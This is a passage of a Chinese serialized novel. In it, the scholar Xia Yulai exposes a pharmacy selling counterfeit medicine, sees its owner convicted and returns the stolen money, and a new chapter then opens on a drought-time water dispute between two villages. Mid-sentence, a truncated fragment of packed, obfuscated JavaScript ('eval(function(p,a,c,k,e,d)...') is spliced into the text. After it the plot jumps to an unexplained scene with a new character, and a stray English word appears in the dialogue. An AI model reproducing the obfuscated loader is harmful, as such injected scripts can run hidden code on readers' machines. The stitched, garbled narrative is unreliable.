他从孙老实手里拿过钱袋,掏出一锭沉甸甸的银子,递给胡仁海:“这是一百两银子,你快给我配药!我要现在就吃药!” 胡仁海接过银子,掂量了一下,心里乐开了花,连忙说道:“这位爷,您别急!配药需要时间,您明日再来取药,如何?” 夏雨来摇摇头:“不行!我现在就要吃药!我痒得难受!” 胡仁海眼珠一转,说道:“那好!我让伙计现在就给您配药,您在店里稍等片刻!” 他转头对伙计使了个眼色,伙计连忙拿着锦盒走进后堂。胡仁海则陪着夏雨来闲聊,时不时打探他的家世背景,想要知道他到底有多少家产。 夏雨来故意胡言乱语,一会儿说家里有良田千亩,一会儿说有铺面百间,偶尔又冒出几句疯话,让胡仁海既相信他有钱,又觉得他很好糊弄。 “胡神医,你这药铺真大,药材真多!” 夏雨来装作好奇地四处张望,“我能不能去后堂看看?我想看看你是怎么配药的!” 胡仁海心里一慌,连忙说道:“这位爷,后堂是配药的地方,闲人免进!而且里面药材繁多,万一您不小心碰坏了名贵药材,那可就不好了!” 夏雨来故作不满地说:“我又不是故意的!我就是想看看!你是不是不想让我看?是不是你的药材是假的?” 胡仁海脸色一变,连忙说道:“这位爷,您说笑了!我怎么会卖假药?我这仁心堂可是百年老店,信誉第一!既然您想看,那我就带您去看看,但您可千万别乱动里面的东西!” 他心里盘算着,后堂虽然藏着假药,但都伪装得很好,而且有打手在旁边,这疯子就算看出什么,也不敢怎么样。 夏雨来心里暗喜,知道鱼儿已经上钩了。他跟着胡仁海走进后堂,只见后堂里摆着许多药柜,上面贴着药材的名称,但很多药柜都是空的,只有少数几个药柜里放着药材。后堂的角落里,堆着许多麻袋,里面装着一些看起来像是杂草、泥沙的东西,正是用来伪造药材的原料。 一个伙计正在角落里忙碌着,把一些杂草切成段,装进写着 “麻黄” 的药袋里;另一个伙计则把泥沙和甘草混在一起,搅拌均匀。 夏雨来故意指着那些麻袋,说道:“胡神医,这些是什么东西?看起来像杂草和泥沙,难道也是药材?” 胡仁海心里一惊,连忙说道:“这位爷,您不懂!这些都是药材的原料,需要经过特殊处理才能使用!” 正在这时,配药的伙计拿着配好的药走了过来,说道:“老板,药配好了!” 胡仁海连忙接过药,递给夏雨来:“这位爷,药配好了!您拿回去,按照我说的方法服用,保证您药到病除!” 夏雨来接过药,故意装作不小心,手一抖,药包掉在了地上,里面的药材撒了一地。“哎呀!对不起!对不起!” 他一边道歉,一边蹲下身,偷偷把几样伪造的药材藏在袖口里,然后假装慌乱地把地上的药材捡起来,“胡神医,我不是故意的!” 胡仁海虽然有些心疼,但见他是个疯子,也不好发作,只能说道:“没关系!您快拿回去吧!记得按时服药!” 夏雨来拿着药包,和孙老实一起离开了仁心堂。走出药铺大门,夏雨来脸上的疯癫立刻消失了,眼神变得清明而锐利。 “夏秀才,您拿到证据了?” 孙老实小声问道。 夏雨来点点头,从袖口里掏出几样伪造的药材:“你看!这就是他们用来冒充麻黄的狗尾巴草,还有掺了泥沙的甘草,这些都是铁证!” 孙老实愤怒地说:“这胡仁海也太黑心了!竟然用这些东西冒充药材!” “我们现在就去县衙,把证据交给知府大人!” 夏雨来沉声道,“让官府立刻派人去仁心堂搜查,把他们的假药全部搜出来,让他们伏法!” 两人正准备去县衙,却见张老爹急匆匆地跑了过来,脸上带着焦急的神色:“夏秀才,不好了!李老爹快不行了!张郎中说,他体内的毒素扩散得很快,怕是撑不了多久了!” 夏雨来心里一沉,连忙说道:“我们先去小院看看李老爹,然后再去县衙!” 三、二次暗访,深入虎穴 三人急匆匆地赶回小院,只见李老爹躺在床上,气息微弱,脸色已经变成了紫黑色,嘴唇干裂出血。张郎中正在给他施针,额头上满是汗水。 “张郎中,情况怎么样?” 夏雨来连忙问道。 张郎中摇了摇头,叹了口气:“夏秀才,我尽力了!李老爹体内的毒素已经侵入五脏六腑,神仙难救了!” 李石柱跪在床边,哭得撕心裂肺:“爹!爹!您不能走啊!您走了我怎么办啊!” 夏雨来看着眼前的情景,心里既悲痛又愤怒。李老爹本来只是一点风寒,却因为吃了仁心堂的假药,丢了性命!这胡仁海简直是草菅人命! “石柱,你放心!” 夏雨来拍了拍他的肩膀,“我一定会让胡仁海血债血偿!让他为你爹的死付出代价!” 他转头对张老爹说:“张老爹,你现在就去县衙,把这些证据交给知府大人,让他立刻派差役去仁心堂搜查,不能再让胡仁海继续坑害百姓了!” 张老爹点点头:“好!我现在就去!” 张老爹走后,夏雨来对孙老实说:“孙老实,我们不能就这么等官府的消息!胡仁海狡猾得很,万一他提前得到消息,把假药转移了,我们就很难定他的罪了!我们现在再去一趟仁心堂,想办法把他的假药仓库找出来!” 孙老实有些担忧地说:“夏秀才,胡仁海已经见过我们了,我们再去,会不会被他认出来?” 夏雨来笑道:“放心!我们换个装扮,他肯定认不出来!” 两人回到夏雨来的房间,很快换了一身行头。夏雨来穿上了一身破烂的乞丐服,脸上抹了些锅底灰,头发乱糟糟的,手里拿着一根打狗棒,装作一个身患重病的乞丐;孙老实则穿上了一身短打,脸上也抹了些灰,装作一个搀扶乞丐的穷亲戚。 两人再次来到仁心堂,此时药铺里的顾客已经少了一些。夏雨来故意咳嗽着,声音嘶哑地说:“胡老板!求求您,给我点药吧!我生病了,快要死了!” 胡仁海正在柜台后算账,见是一个乞丐,不耐烦地挥挥手:“去去去!哪里来的乞丐,别在这里碍事!我这里的药都是名贵药材,你买得起吗?” 夏雨来跪在地上,苦苦哀求:“胡老板,我知道您是大善人,您就可怜可怜我吧!我虽然没钱,但我可以给您干活!我什么活都能干!只要您给我点药,治好我的病!” 孙老实也连忙说道:“胡老板,我这位亲戚真的快不行了!您就发发善心,给点药吧!我们以后一定会报答您的!” 周围的几个顾客见状,纷纷劝道:“胡老板,医者仁心,你就给点药吧!看他多可怜!” 胡仁海心里有些不耐烦,但又不想在顾客面前落个 “吝啬” 的名声,于是说道:“好吧!看在大家的面子上,我就给你点药!不过我这里的药都很贵,我只能给你点最便宜的!” 他转头对伙计说:“去拿点‘甘草’给他!” 伙计连忙从一个药柜里拿出一小包甘草,递给夏雨来。夏雨来接过甘草,故意闻了闻,说道:“胡老板,这甘草怎么有股泥沙味?是不是假的?” 胡仁海脸色一变,厉声说道:“你个乞丐懂什么!这甘草是正宗的宁夏甘草,就是这个味道!你要是不想要,就还给我!” 夏雨来连忙说道:“想要!想要!多谢胡老板!” 他心里暗自冷笑,这胡仁海果然黑心,连给乞丐的药都是掺了泥沙的假货! 两人正准备离开,却见一个伙计慌慌张张地从后堂跑出来,对胡仁海低声说道:“老板,不好了!仓库里的假药被老鼠咬坏了不少,要不要现在处理掉?” 胡仁海眼睛一瞪,低声骂道:“废物!这点小事都办不好!现在处理掉会引人怀疑,等晚上再处理!” 夏雨来心里一动,知道他们的假药仓库就在后堂附近。他故意装作头晕目眩的样子,身体一歪,倒在地上,大声喊道:“哎呀!我头晕!我站不起来了!” 孙老实连忙蹲下身,装作焦急地说:“亲戚,你怎么了?你别吓我啊!” 胡仁海皱着眉头,说道:“真是晦气!快把他抬出去!别在这里碍事!” 两个伙计过来,正准备把夏雨来抬出去,夏雨来突然一把抓住一个伙计的手,说道:“我要喝水!我渴得难受!后堂有没有水?我想去后堂喝点水!” 胡仁海心里一慌,连忙说道:“没有!后堂没有水!你要喝水,让伙计给你打一碗井水!” 夏雨来却故意耍赖:“我不喝井水!我要喝后堂的茶水!我听说后堂有上好的茶水!” 他一边说,一边挣扎着想要站起来,趁机向后堂望去。只见后堂的角落里有一个不起眼的小门,门上挂着一把锁,想必那就是假药仓库的入口。 胡仁海见他一直盯着后堂,心里更加慌乱,连忙对伙计使了个眼色:“快把他拖出去!再在这里胡搅蛮缠,就打断他的腿!” 两个伙计架起夏雨来,就往外拖。夏雨来故意大声嚷嚷:“胡仁海!你卖假药!你不得好死!我要去官府告你!” 胡仁海脸色铁青,厉声说道:“你个疯子!再胡说八道,我让你吃不了兜着走!” 两人被伙计们拖出了药铺,扔在路边。夏雨来爬起来,拍了拍身上的灰尘,对孙老实说:“孙老实,我们找到他们的假药仓库了!就在后堂的小屋里!我们现在就去县衙,告诉知府大人,让他派人去搜查!” 两人正准备去县衙,却见张老爹带着几个差役急匆匆地赶来。原来张老爹去县衙后,把事情的原委告诉了知府大人,知府大人勃然大怒,立刻派了几个精明强干的差役,跟着张老爹赶来。 “夏秀才,知府大人派我们来协助您!” 带头的差役说道,“您说吧,我们现在该怎么做?” 夏雨来指着仁心堂,沉声道:“胡仁海的假药仓库就在后堂的小屋里,我们现在就进去搜查,把他的假药全部搜出来!” 差役们点了点头,握紧了手里的水火棍,跟着夏雨来和孙老实,冲进了仁心堂。 胡仁海正在柜台后算账,见突然冲进来几个差役,心里顿时慌了神,连忙站起来说道:“各位差爷,不知小的哪里得罪了各位?为何突然闯进我的药铺?” 夏雨来摘下脸上的锅底灰,露出真面目,冷笑道:“胡仁海,你还敢装蒜!你卖假药坑害百姓,害死了李老爹,今天我们就是来拿你的!” 胡仁海一见是夏雨来,脸色顿时变得惨白:“夏秀才?你…… 你怎么会在这里?你这是诬陷!我没有卖假药!” “是不是诬陷,搜一搜就知道了!” 夏雨来对差役们说,“差爷们,后堂的小屋里有他的假药仓库,快进去搜查!” 差役们立刻冲进后堂,胡仁海想要阻拦,却被孙老实和张老爹死死按住。没过多久,差役们就从后堂的小屋里搜出了大量的假药,有冒充人参、鹿茸的假货,有掺了泥沙的甘草、当归,还有用杂草伪造的麻黄、桂枝等,足足装了十几麻袋。 “胡仁海,证据确凿,你还有什么话好说?” 夏雨来厉声问道。 胡仁海脸色惨白,浑身发抖,却说不出一句话来。药铺里的顾客们见状,都纷纷指责起来:“原来仁心堂真的卖假药!”“胡仁海,你太黑心了!”“差爷们,快把他抓起来!” 差役们拿出锁链,把胡仁海锁了起来。胡仁海挣扎着说道:“我没有卖假药!这些都是误会!我是被人陷害的!” “是不是误会,到了县衙就知道了!” 带头的差役说道,“带走!” 差役们押着胡仁海,扛着搜出的假药,准备回县衙。夏雨来对张老爹说:“张老爹,你带着几个街坊,把这些假药搬到县衙去作证,我去小院看看李老爹的情况!” 张老爹点点头:“好!夏秀才,你放心去吧!” 夏雨来和孙老实赶回小院,只见李老爹已经停止了呼吸,李石柱趴在床边,哭得死去活来。 “夏秀才,李老爹他…… 他走了!” 阿翠红着眼睛说道。 夏雨来心里一阵悲痛,他走到床边,看着李老爹冰冷的尸体,心里暗暗发誓,一定要让胡仁海受到最严厉的惩罚,为李老爹报仇! 四、公堂对峙,智斗顽凶 知府大人得知仁心堂卖假药害死了人,勃然大怒,立刻升堂审问。 公堂之上,胡仁海被押在堂下,虽然脸色惨白,但依旧不肯认罪。他跪在地上,大声说道:“大人,冤枉啊!我没有卖假药!那些都是夏雨来诬陷我!他肯定是因为嫉妒我的药铺生意好,故意设计陷害我!” 夏雨来站在一旁,冷笑道:“胡仁海,你还敢狡辩!我们在你药铺的仓库里搜出了大量的假药,还有李老爹吃了你药铺的假药后死亡的证据,你怎么解释?” 知府大人一拍惊堂木,厉声说道:“胡仁海!夏雨来所说是否属实?你从实招来!” 胡仁海连忙说道:“大人,那些假药不是我的!是夏雨来偷偷放在我仓库里的!他故意陷害我!至于李老爹的死,跟我没有关系!他可能是得了其他重病,正好吃了我的药,就把责任推到我身上!” “你胡说!” 李石柱冲上前,指着胡仁海骂道,“我爹就是因为吃了你的假药才死的!张郎中可以作证!” 知府大人传张郎中上堂。张郎中说道:“大人,李老爹确实是因为服用了含有毒素的假药,导致病情加重,最终死亡。我可以用我的人头担保!” 胡仁海连忙说道:“大人,张郎中是夏雨来的朋友,他的证词不可信!” 夏雨来笑道:“胡仁海,你不要血口喷人!张郎中是潮州城有名的良医,向来公正无私,他的证词怎么会不可信?而且,我们还有其他证据!” 他转头对差役说:“差爷,请把我们从仁心堂买的假药呈上来!” 差役们把夏雨来第一次买的 “千年人参” 和 “百年鹿茸” 呈了上来。夏雨来拿起那支 “千年人参”,说道:“大人,您看!这所谓的千年人参,其实是用普通园参经过蒸煮、染色制成的,表面看起来饱满,实际上质地疏松,毫无药效!而这支百年鹿茸,则是用驴皮伪造的!这些都是我亲自从仁心堂买的,有孙老实可以作证!” 孙老实连忙说道:“大人,小人可以作证!这些药确实是我们从仁心堂买的,花了一百两银子!” 胡仁海心里一慌,连忙说道:“大人,这是误会!那是我店里的伙计搞错了,把样品卖给了他们!我店里的真药材都在后面的药柜里!” “是吗?” 夏雨来冷笑一声,“那我们就去你店里的药柜里看看,是不是都是真药材!” 知府大人说道:“好!本府就带你去仁心堂,当场查验!” 一行人来到仁心堂,知府大人让差役们把药铺里所有的药材都拿出来,当场查验。经过张郎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王元宝心里暗暗恼怒,他没想到夏雨来竟然懂药材,而且还找了这么多证人。他眼珠一转,说道:“就算这些药材是假的,也不能证明是胡老板故意卖假药!说不定是他的进货渠道出了问题,他自己也不知道!” 夏雨来冷笑道:“王员外,您这话就太可笑了!胡仁海是药铺老板,怎么会不知道自己的药材是假的?而且我们在他的仓库里搜出了大量的造假原料,还有伙计正在伪造药材,这难道也是进货渠道出了问题?” 他转头对知府大人说:“大人,胡仁海不仅卖假药,还勾结官府的书吏,每次检查都能提前得到消息,把假药藏起来,逃避惩罚!这种人,必须严惩!” 知府大人闻言,脸色更加阴沉。他早就听说胡仁海与某些官员有勾结,只是一直没有证据。如今夏雨来当众揭发,他若是不严惩胡仁海,不仅无法给百姓一个交代,还会让人觉得他畏惧权贵。 “王员外,本府知道你与胡仁海是朋友,但法律面前人人平等,就算他是你的朋友,也不能凌驾于法律之上!” 知府大人沉声道,“胡仁海卖假药坑害百姓,害死了人,情节极其严重,本府定要严惩不贷!” 王元宝见知府大人态度坚决,知道自己再怎么说也没用,只能恶狠狠地瞪了夏雨来一眼,不甘心地离开了。 胡仁海见王元宝也救不了他,彻底绝望了,瘫倒在地上,痛哭流涕地说:“大人,我错了!我不该卖假药!我不该为了钱财,坑害百姓!求您饶我一命!” 知府大人一拍惊堂木,厉声说道:“胡仁海!你知法犯法,卖假药坑害百姓,导致一人死亡,情节极其严重!本府岂能饶你!根据《大明律》,贩卖假药致人死亡者,判处绞刑!即刻押入死牢,秋后问斩!” 胡仁海吓得魂飞魄散,瘫倒在地上,再也说不出一句话来。差役们上前,把他押入了死牢。 五、追缴赃款,安抚民心 胡仁海被定罪后,夏雨来并没有就此罢休。他知道,胡仁海经营药铺多年,通过卖假药骗取了大量的钱财,这些钱财都是百姓的血汗钱,必须追缴回来,还给受害的百姓。 他对知府大人说:“大人,胡仁海卖假药骗取了大量的钱财,这些钱财都是百姓的血汗钱,我们应该追缴回来,还给受害的百姓!” 知府大人点点头:“夏秀才说得有理!本府立刻派人去搜查胡仁海的家,追缴赃款!” 差役们在胡仁海的家里搜出了大量的赃款,共计纹银五千多两,还有许多珠宝首饰、房产地契等。原来,胡仁海通过卖假药,积累了巨额的财富,在潮州城买了三所宅院,还有十几间铺面。 知府大人下令,将胡仁海的赃款全部没收,房产地契也全部收回,然后张贴告示,让所有被仁心堂坑害过的百姓前来认领赃款。 告示贴出后,潮州城的百姓们纷纷赶来,一时间,县衙门前排起了长队。夏雨来和张老爹、孙老实等人一起,帮助差役们登记受害百姓的信息,发放赃款。 “夏秀才,真是太感谢您了!若不是您,我们的血汗钱就打了水漂!” 一位老大娘拿着追回的银子,激动得热泪盈眶。 “夏秀才,您真是我们百姓的保护神!是您替我们讨回了公道!” 一位中年男子说道。 夏雨来笑着说道:“大家不用谢我!这都是我应该做的!惩治恶人,保护百姓,是每个读书人的本分!” 他一边发放赃款,一边提醒大家:“以后大家买药,一定要去正规的药铺,不要轻易相信那些夸大其词的广告,买完药后,最好让懂药材的人看看,以免再次买到假药!” 百姓们纷纷点头:“夏秀才说得对!我们以后一定会多加小心!” 李石柱也领到了一笔赃款,他拿着银子,跪在夏雨来面前,磕了三个头:“夏秀才,多谢您为我爹讨回了公道!您的大恩大德,我永世不忘!” 夏雨来连忙扶起他:“石柱,不用谢!这是胡仁海欠你的!你以后要好好生活,照顾好自己!” 经过几天的忙碌,所有受害百姓都领到了相应的赃款。胡仁海的房产和铺面也被知府大人下令拍卖,所得的钱财全部用于救济贫苦百姓和修建学堂。 仁心堂被查封后,知府大人下令,在潮州城开展了一次大规模的药品清查行动,严厉打击贩卖假药的行为。许多卖假药的小药铺都被查封,药商们也纷纷收敛了起来,不敢再肆意妄为。 潮州城的百姓们都拍手叫好,纷纷赞扬知府大人的公正执法,更赞扬夏雨来的智勇双全。 “夏秀才真是太厉害了!不仅揭穿了胡仁海的假药骗局,还让官府开展了药品清查,以后我们买药就放心了!” “夏秀才真是为民做主的好秀才!有他在潮州城,我们就不怕被恶人欺负了!” “以前只听说夏秀才聪明过人,没想到他还懂药材,真是多才多艺!” 夏雨来的名声越来越大,不仅潮州城的百姓们对他赞不绝口,周边县镇的百姓们也都听说了他的事迹,纷纷称赞他是 “百姓的保护神”。 这一天,潮州城的百姓们再次自发组织起来,为夏雨来举行了一场盛大的庆典。开元寺前的空地上,摆满了百姓们送来的牌匾和锦旗,上面写着 “智勇双全”“为民除害”“公正廉明” 等字样。说书人、戏班子也赶来助兴,整个潮州城都沉浸在欢乐的氛围中。 夏雨来穿着干净的青布长衫,站在百姓们中间,脸上露出了欣慰的笑容。他对着众人拱手道:“诸位乡亲,多谢大家的厚爱!其实,我并没有什么神通,我只是做了我该做的事情。真正的功劳,在于大家的团结一心,在于知府大人的公正执法。只要我们团结起来,坚守公道,就没有什么恶人能逍遥法外,就没有什么骗局能得逞!” 百姓们闻言,都纷纷鼓掌叫好,掌声雷动,久久不息。阿翠走上前,笑着说道:“夏秀才,百姓们都为你编了一首新的歌谣,大家一起唱给你听!” 说完,阿翠清了清嗓子,率先唱了起来:“夏雨来,真英豪,慧眼识假辨奸刁。仁心堂里除恶霸,假药坑民无处逃,潮州百姓得安宁,人人称颂夏秀才!” 百姓们纷纷跟着合唱起来,歌声回荡在潮州城的上空,与开元寺的钟声交织在一起,充满了欢乐和感激。 阳光透过老榕树的枝叶,洒下斑驳的光影,照在百姓们幸福的脸上。夏雨来的名字,再次烙印在了潮州城百姓的心中,成为了正义与智慧的象征,成为了市井之间最动人的传说。而他 “疯癫” 的模样,也成为了潮州城最温暖、最安心的符号,永远守护着这座城市的安宁与公道。 六、市井余韵,公道长存 庆典结束后,夏雨来回到了东门街的小院。阿翠端来温热的凉茶,笑着说道:“夏秀才,今天真是太热闹了!百姓们都特别爱戴您!” 夏雨来喝了一口凉茶,笑道:“百姓们的爱戴,是对我的鼓励,也是对我的鞭策。我以后更要好好为百姓们做事,不能辜负他们的期望!” 张老爹说道:“夏秀才,您这次不仅揭穿了假药骗局,还让官府开展了药品清查,真是为潮州城做了一件大好事!以后百姓们买药就再也不用担心买到假药了!” 孙老实说道:“夏秀才,我听说周边县镇的药商们都害怕了,纷纷把假药都销毁了,还主动去官府登记药材,接受检查呢!” 夏雨来点点头:“这就好!只要能让百姓们买到放心药,我们的努力就没有白费!” 正在这时,一个伙计模样的人急匆匆地赶来,对夏雨来说:“夏秀才,我们老板请您去一趟诚信药铺,说是有要事相商!” 诚信药铺是潮州城一家有名的老字号药铺,老板姓陈,为人忠厚老实,一直诚信经营。夏雨来心想,陈老板找他,想必是关于药品经营的事情。 他跟着伙计来到诚信药铺,陈老板连忙迎了上来,拱了拱手:“夏秀才,多谢您为民除害,揭穿了胡仁海的假药骗局!您真是我们药行的功臣!” 夏雨来笑道:“陈老板客气了!我只是做了我该做的事情!” 陈老板说道:“夏秀才,胡仁海的事情给我们药行敲响了警钟。我们这些诚信经营的药铺,早就看不惯胡仁海的所作所为了,但他势力太大,我们也不敢得罪他。如今他被严惩,我们都非常高兴!我召集了潮州城所有诚信经营的药商,想要成立一个药行公会,制定行业规则,共同抵制假药,保护百姓的利益。我们想请您担任公会的顾问,为我们出谋划策,您看如何?” 夏雨来心里一动,成立药行公会,制定行业规则,确实是抵制假药的好办法。他说道:“陈老板,这是好事!我非常愿意担任公会的顾问!只要能让百姓们买到放心药,我义不容辞!” 陈老板非常高兴:“太好了!有夏秀才您的帮助,我们的药行公会一定能办好!我们明天就举行成立仪式,邀请知府大人和百姓们前来见证!” 次日,潮州城的药行公会正式成立。知府大人亲自前来祝贺,并颁布了《潮州城药品经营管理条例》,规定所有药铺必须诚信经营,严禁贩卖假药,一旦发现,严惩不贷。 夏雨来作为公会顾问,在成立仪式上发表了讲话,他希望所有药商都能坚守诚信,为百姓们提供优质的药材,共同维护潮州城的药品市场秩序。 药行公会成立后,潮州城的药品市场变得更加规范,再也没有出现过贩卖假药的现象。百姓们买药也更加放心了,诚信药铺的生意也越来越红火。 日子一天天过去,夏雨来依旧住在东门街的小院里,依旧穿着他那身半旧的青布长衫,依旧用他独特的方式,替百姓们主持公道。阿翠的茶摊依旧摆在他的家门口,张老爹、孙老实等街坊依旧跟着他一起,为百姓们排忧解难。 东门街也因为夏雨来,成为了潮州城最太平、最热闹的街区。这里再也没有恶霸横行,再也没有欺诈勒索,再也没有假药、婚骗等骗局,百姓们安居乐业,互帮互助,真正实现了 “夜不闭户,路不拾遗” 的太平景象。 这一天,夏雨来正在小院里看书,阿翠突然跑了进来,笑着说道:“夏秀才,外面来了一群百姓,说是特意来感谢您的!他们还带来了很多礼物呢!” 夏雨来放下书,走出小院,只见小院门前站满了百姓,手里拿着各种各样的礼物,有粮食、布匹、水果等。 “夏秀才,多谢您为我们讨回了公道!这些礼物是我们的一点心意,请您一定要收下!” 一位老大娘说道。 夏雨来连忙说道:“各位乡亲,你们太客气了!我只是做了我该做的事情,怎么能收你们的礼物呢?” “夏秀才,您就收下吧!这是我们的一片心意!” 百姓们纷纷说道。 夏雨来推辞不过,只能收下了礼物。他心里非常感动,他知道,这些礼物代表着百姓们对他的信任和爱戴,这是他最大的财富。 他对着百姓们拱手道:“诸位乡亲,多谢大家的厚爱!我一定会继续为百姓们做主,守护潮州城的安宁与公道!” 百姓们纷纷鼓掌叫好,掌声回荡在东门街的上空,久久不息。 阳光洒在夏雨来的身上,他的身影显得格外高大。他知道,只要百姓们需要他,他就会一直留在潮州城,用他的智慧和勇气,为百姓们撑起一片公道的天空,让潮州城永远太平,永远安宁。 33. 河道纠纷 一、旱魃为虐,两村结怨 潮州城西北三十里,有两条紧紧挨着的村子:上游的 “河东村”,下游的 “河西村”。两村以一条 “清水河” 为界,世代依河而居,靠河而生。往年雨水充沛时,清水河碧波荡漾,河东村引水灌溉稻田,河西村捕捞鱼虾、取用生活用水,虽偶有小摩擦,倒也相安无事。可今年入夏以来,老天爷像是忘了开恩,三个多月滴雨未下,毒辣的日头把清水河晒得河床见底,原本湍急的河水,如今只剩中间一条细细的水流,勉强维持着生机。 旱情越重,两村的矛盾就越尖锐。河东村的稻田在河上游,村老周德发带着村民修了一道土坝,把大部分河水都引去了自家田里。河西村没了水源,不仅稻田干裂得能塞进手指头,就连村民的饮用水都成了问题。村里的壮丁们几次想拆了土坝,都被河东村的人拿着锄头扁担挡了回来,双方口角不断,火气越来越旺。 这日清晨,天刚蒙蒙亮,河西村的村老李德山就被一阵急促的敲门声吵醒。开门一看,是村里的壮丁李铁牛,他光着膀子,黝黑的脸上满是怒气,手里还攥着一把沾了泥土的铁锹:“李伯!不好了!河东村的人把土坝又加高了!现在河里的水,连我们村口的水井都灌不满了!我家的三亩稻田,秧苗都快枯死了!” 李德山今年六十多岁,头发胡子都白了,但眼神依旧锐利。他一听这话,眉头瞬间拧成了疙瘩,手里的旱烟杆 “啪” 地敲在门槛上:“这个周德发!真是欺人太甚!上次说好的上下游轮流用水,他转头就变卦!走!我们去跟他们理论!” 消息像长了翅膀一样,很快传遍了河西村。村民们本来就憋了一肚子火,此刻更是群情激愤。男人们抄起锄头、扁担、铁锹,女人们也拿着洗衣棒、木盆跟在后面,一个个怒气冲冲地往河东村的土坝赶去。 “凭什么他们河东村霸占着河水?我们也要喝水!也要种地!” “周德发那个老东西,简直是为老不尊!今天不拆了他的土坝,我们河西村就没活路了!” “跟他们拼了!大不了鱼死网破,谁也别想好过!” 河西村的人浩浩荡荡地赶到土坝时,河东村的人早就闻讯赶来,守在了土坝上。周德发站在土坝最高处,手里拄着一根拐杖,身后的村民们个个摩拳擦掌,眼神凶狠地盯着河西村的人。 周德发干咳了两声,声音沙哑却带着一股不容置疑的气势:“李德山!你们河西村这是要干什么?聚众闹事吗?这土坝是我们河东村修的,河里的水,自然该我们先用!” 李德山气得浑身发抖,指着周德发骂道:“周德发!你要不要点脸?清水河是老天爷赐给两村的,凭什么你们独占?上次你亲口答应,上下游轮流用水,现在你把土坝加高,我们河西村连一滴水都见不到,你这是要逼死我们啊!” “哼!轮流用水?” 周德发冷笑一声,“李德山,你少在这里装可怜!你们河西村是鱼米之乡,除了种地还有鱼虾可捕,我们河东村就靠这几亩稻田过日子!现在天旱成这样,秧苗再不浇水就全完了,我们全村人喝西北风去?” “你胡说!” 河西村的李铁牛跳了出来,“我们的鱼虾早就因为河水太少死光了!现在村里的水井都快干了,老人孩子都快渴死了,你还在这里强词夺理!” 河东村的壮丁王虎也不甘示弱,上前一步吼道:“李铁牛!你小子别在这里撒野!土坝是我们辛辛苦苦修起来的,想拆坝?先过我这关!” “过就过!谁怕谁!” 李铁牛说着,就拿起铁锹要往土坝上铲。 “住手!” 王虎一把抓住他的铁锹,两人瞬间扭打在一起。 这一下,像是点燃了炸药桶。两村的村民们见状,纷纷冲了上去,锄头、扁担、铁锹挥舞着,骂声、喊声、惨叫声混杂在一起,土坝上顿时一片混乱。有人被打破了头,鲜血直流;有人被推倒在地,浑身是泥;女人们也不甘落后,互相撕扯着头发、衣服,嘴里还不停地咒骂着。 周德发和李德山想阻止,却被混乱的人群裹挟着,根本动弹不得。周德发看着眼前的景象,心里又急又怒:他不是不知道河西村的难处,可河东村的稻田也不能眼睁睁看着枯死啊!村里的老老小小,都指着这些粮食过日子,他作为村老,不能让村民们失望。 李德山心里更是五味杂陈:他和周德发从小一起长大,年轻时还一起下河摸鱼、上山打猎,关系好得像亲兄弟。可如今,为了一条河,两村竟然闹到了械斗的地步,他心里既难受又无奈。他知道,再这样打下去,只会两败俱伤,可看着村民们干裂的稻田和渴望水源的眼神,他又不能退缩。 就在这时,一个村民突然大喊:“不好了!有人掉河里了!” 众人循声望去,只见河西村的一个小孩,在混乱中被推倒,掉进了河中间的浅水里。河水虽然不深,但小孩吓得哇哇大哭,挣扎着想要爬起来,却因为脚下打滑,怎么也站不稳。 李铁牛一看,那是他五岁的儿子小宝,顿时急红了眼,不顾众人阻拦,冲过去把小宝抱了起来。小宝的衣服全湿了,脸上还沾着泥土和泪水,哭得撕心裂肺:“爹!我怕!我渴!我要喝水!” 看着儿子可怜的模样,李铁牛的火气更盛,他抱着小宝,怒视着河东村的人:“你们这群畜生!连小孩都不放过!今天我跟你们没完!” 周德发心里一沉,知道事情闹大了。他连忙对河东村的村民们喊道:“都住手!别打了!再打就要出人命了!” 可此时的村民们,已经红了眼,哪里听得进去?械斗还在继续,而且越来越激烈。 就在这危急关头,远处传来一阵马蹄声,紧接着,一个熟悉的声音喊道:“住手!都给我住手!光天化日之下,聚众械斗,难道就不怕官府治罪吗?” 众人抬头一看,只见夏雨来骑着一头毛驴,慢悠悠地从远处走来。他依旧是一身半旧的青布长衫,手里摇着折扇,额头上沁着薄汗,脸上带着一丝淡淡的笑意。身后跟着孙老实,手里提着一个包袱,气喘吁吁地跑着。 原来,夏雨来受知府大人之托,去西北乡查看旱情,顺便安抚受灾的百姓,没想到刚到清水河附近,就看到了两村械斗的场景。 两村的村民们都听说过夏雨来的名声,知道他是个聪明过人、为民做主的好秀才,而且还和官府关系不错。看到他来了,众人手里的动作都停了下来,虽然依旧怒气冲冲,但也不敢再肆意妄为。 李铁牛抱着小宝,走到夏雨来面前,“噗通” 一声跪了下来,哽咽道:“夏秀才!您可得为我们河西村做主啊!河东村的人霸占着河道,不让我们用水,还动手打人,连小孩都不放过!” 河东村的王虎也连忙说道:“夏秀才,您别听他胡说!是河西村的人先动手的,我们只是自卫!而且这河水,本来就该我们上游先用水!” 周德发和李德山也连忙走上前,各自诉说着自己的难处,都希望夏雨来能为自己村做主。 夏雨来跳下毛驴,走到土坝上,看了看干裂的河床,又看了看两村村民们脸上的疲惫和愤怒,还有那个吓得瑟瑟发抖的小孩,心里已经明白了七八分。他先让孙老实去附近的村子找了点水,给小宝喝了,又让孙老实去查看受伤的村民,然后才开口说道:“诸位乡亲,我知道大家都不容易!天旱成这样,谁都想保住自己的田地,谁都想有水喝!可你们这样打下去,能解决问题吗?只会让更多的人受伤,让两村的恩怨更深!” 周德发叹了口气:“夏秀才,您说得我们都懂!可我们河东村的稻田,再不浇水就全完了!我们也是没办法啊!” 李德山也说道:“夏秀才,我们河西村也难啊!稻田枯死了,连饮用水都成了问题,您让我们怎么活?” 夏雨来摇了摇折扇,笑道:“两位村老,你们先别着急!我这次来,就是受知府大人之托,来查看旱情,解决大家的用水问题的!不过,在解决问题之前,我得先弄清楚,这清水河的水,到底该归谁先用?” 周德发连忙说道:“夏秀才,这还用说吗?我们河东村在 upstream,自然该我们先用!自古以来,都是上游先用水,下游后用水,这是规矩!” 李德山反驳道:“规矩是人定的!现在天旱成这样,哪还有什么上游下游之分?大家都需要水,就该轮流用水!上次我们已经商量好了,可周德发却出尔反尔,把土坝加高了!” 周德发脸色一变:“我什么时候出尔反尔了?我只是觉得,轮流用水的时间太短,我们的稻田根本浇不过来!” “你就是想独占河水!” “我没有!” 两人又争论起来,村民们也纷纷附和,一时间,土坝上又吵成了一团。 